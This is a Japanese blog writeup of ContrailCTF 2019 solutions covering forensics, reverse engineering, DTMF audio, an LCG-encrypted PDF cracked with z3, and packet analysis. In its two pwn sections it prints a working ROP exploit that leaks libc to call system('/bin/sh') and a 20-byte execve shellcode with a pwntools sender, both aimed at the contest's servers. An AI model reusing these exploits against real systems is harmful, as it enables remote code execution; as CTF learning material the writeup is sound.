みつのCTF精進記録

プログラム書いたりCTFやったりするゆるゆるなブログです。

ContrailCTF 2019 writeup

はじめに

Kaitoさんと新しい仲間ぬるぬるさんを加えてStarrySkyはContrailCTFに旅立ちました。
f:id:mi__tsu:20200104001646p:plain
4位でしたがpwnが全然解けなくてつらかったです。もっと勉強します。

[forensics] cutecats

volatilityとmimikatzで殴ります。mimikatzの存在を知らなかったので大変でした。

[rev] DownloaderLog

wiresharkでELFファイルと数字が書かれたテキストファイルがエクスポートできます。どうやら時間を使ってごネゴねやってるっぽいです。
ptraceを使ってアンチデバッグしているところをnopで潰し、いい感じに分岐を乗り越えてgdbで適当に動かしたらフラグがでました。
自己消滅する実行ファイルすこ。

[misc] prime_number

音源が渡されます。とりあえずスペクトログラムをみます。
f:id:mi__tsu:20200104003945p:plain
dtmfだ!
数字に直すとこうなります。
53 37 11 2 67 11 61 11 41 11 41 3 11 61 7 71 41 13
何番目の素数かをそのままアルファベットに置き換えると "PLEASEREMEMBERDTMF" となります。これがzipのパスワードです。
zipを開けるとフラグが入手できます。

[crypto] document_rescue

線形合同法を利用して暗号化されたpdfが送られます。すでに分かっている文字列"PDF-9.9"と、pdfファイルの最後にある"%%EOF"を利用して複合します。ただ実際のpdfは最後が必ず"%%EOF"であるとは限らず、この後ろに改行文字や"\r"がつくことがあり、二文字分くっついてることもあるので複合が大変でした。またパディングとして\x00がいくつかついてることもあり、%%EOFが後ろから何byte目にあるかを利用して総当たりしました。
何はともあれ、解けたのでいいです。あとKaitoさんごめんなさい。

import sys
from z3 import *
import subprocess

def mask(pad):
    if pad == 0:
        return 0xffffffff
    if pad == 1:
        return 0xffffff
    if pad == 2:
        return 0xffff
    if pad == 3:
        return 0xff

def revmask(pad):
    if pad == 0:
        return 0xffffffff
    if pad == 1:
        return 0xffffff00
    if pad == 2:
        return 0xffff0000
    if pad == 3:
        return 0xff000000

with open("flag.www", "rb") as f:
    data = bytearray(f.read())


data_len = len(data)
lcm = data_len // 4

m = pow(2, 32)
xs = [0] * lcm

for i in range(lcm):
    xs[i] = int.from_bytes(data[i * 4: i * 4 + 4], "big")

modi = b"%PDF-9.9"
padding = int(sys.argv[1])
EOF = int.from_bytes(b"%EOF", "big")

ps = [0] * lcm
ps[0] = int.from_bytes(modi[0:4], "big")
ps[1] = int.from_bytes(modi[4:8], "big")
ps[lcm - 2] = BitVec("pl_1", 64)
ps[lcm - 1] = BitVec("pl", 64)

aa = BitVec("a", 64)
bb = BitVec("b", 64)
s = Solver()
s.add(ps[lcm - 1] > 0)
s.add(ps[lcm - 1] < m)
s.add(aa > 0)
s.add(aa < m)
s.add(bb > 0)
s.add(bb < m)

s.add(((xs[lcm - 1] ^ ps[lcm - 1]) - (xs[1] ^ ps[1])) % m == (aa * (xs[lcm - 2] - xs[0])) % m)
s.add((revmask(padding) & ps[lcm - 1]) == ((EOF & mask(padding)) << (padding * 8)))

if padding !=  0:
    s.add(((~revmask(padding)) & ps[lcm - 2]) == ((EOF & (~mask(padding))) >> ((4 - padding) * 8)))
    s.add((ps[lcm - 2] & (0xff << (padding * 8))) == (0x25 << (padding * 8)))

s.add(xs[1] ^ ps[1] == (aa * xs[0] + bb) % m)
s.add(xs[lcm - 1] == (((aa * xs[lcm - 2] + bb) % m) ^ ps[lcm - 1]))
s.add(xs[lcm - 2] == (((aa * xs[lcm - 3] + bb) % m) ^ ps[lcm - 2]))

print(s.check())
while s.check() == sat:
    a = s.model()[aa].as_long()
    b = s.model()[bb].as_long()
    print("a = {}, b = {}".format(a, b))

    g = open("flag.dec", "wb")
    x = ps[0]
    g.write(x.to_bytes(4, "big"))

    for i in range(1, lcm):
        enc = (a * xs[i - 1] + b) % m
        x = xs[i] ^ enc
        g.write(x.to_bytes(4, "big"))
        
    g.close()

    try:
        out = subprocess.check_output("hexdump -C 'flag.dec' | grep '%%EOF'", shell=True)
        if len(out) > 0:
            print("Found!")
            exit(0)
    except subprocess.CalledProcessError:
        print("Not Found")

    s.add(Or(s.model()[aa] != aa, s.model()[bb] != bb))

ちなみに複合したあとはpdfのヘッダの修復が必要なのですが、chromiumはそんなのお構いなしに表示してくれました。
f:id:mi__tsu:20200104003720p:plain

[pwn] welcomechain

64bitのropです。libcのベースアドレスをリークさせてsystemを呼び出せばいいです。

from pwn import *
import sys

overflow_len = 40
puts_plt = 0x004005a0
printf_got = 0x601030
pop_rdi = 0x00400853
main_addr = 0x004007ba
ret = 0x00400576
if sys.argv[1] == "r":
    printf_offset = 0x64e80
    system_offset = 0x4f440
    binsh_offset = 0x1b3e9a
    r = remote("114.177.250.4", 2226)

sleep(5)

# read libc_base
payload = b"A" * overflow_len
payload += p64(pop_rdi)
payload += p64(printf_got)
payload += p64(puts_plt)
payload += p64(main_addr)

r.sendline(payload)

r.recvuntil("Your input is :")
print(r.recvline())
printf_addr = u64(r.recv(6) + b"\x00\x00") 
print("printf_addr: {}".format(hex(printf_addr)))
libc_base = printf_addr - printf_offset
print("libc_base: {}".format(hex(libc_base)))
system_addr = libc_base + system_offset
print("system_addr: {}".format(hex(system_addr)))
binsh_addr = libc_base + binsh_offset
print("binsh_addr: {}".format(hex(binsh_addr)))

# attack
payload = b"A" * overflow_len
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(main_addr)

r.sendline(payload)

r.interactive()

[pwn] EasyShellcode

シェルコードを標準入力で受け取って実行してくれるようです。ただ実行されるまえにスタックポインタが0にされてしまっていてそのままだとpushが使えませんでした。制限も20bytesと結構短めです。頑張ってゴルフします。

global _start
section .text
_start:
	xchg rax, rsp
	push 59
	pop rax
	mov rbx, '/bin//sh'
	push rbx
	push rsp
	pop rdi
	syscall

これで丁度20bytesです。あとは流し込むだけ。

from pwn import *
import sys

if sys.argv[1] == "r":
    r = remote("114.177.250.4", 2210)
else:
    r = process("./problem")

shellcode = "\x48\x94\x6a\x3b\x58\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x0f\x05"

print(hex(len(shellcode)))[f:id:mi__tsu:20200104003020p:plain]

sleep(5)

r.sendline(shellcode)
r.interactive()

pwnはこの二問だけです。辛い……

[network] debug_port

wiresharkでパケット解析です。Lengthでソートしたときの一番上のパケットを追跡してみました。
f:id:mi__tsu:20200104003020p:plain
がーーっと見てると怪しい文字列が。
f:id:mi__tsu:20200104003135p:plain
base64なのでデコードすると

echo 'congratulations!'
echo 'flag is "ctrctf{d1d_y0u_cl053d_7h3_5555_p0r7?}"'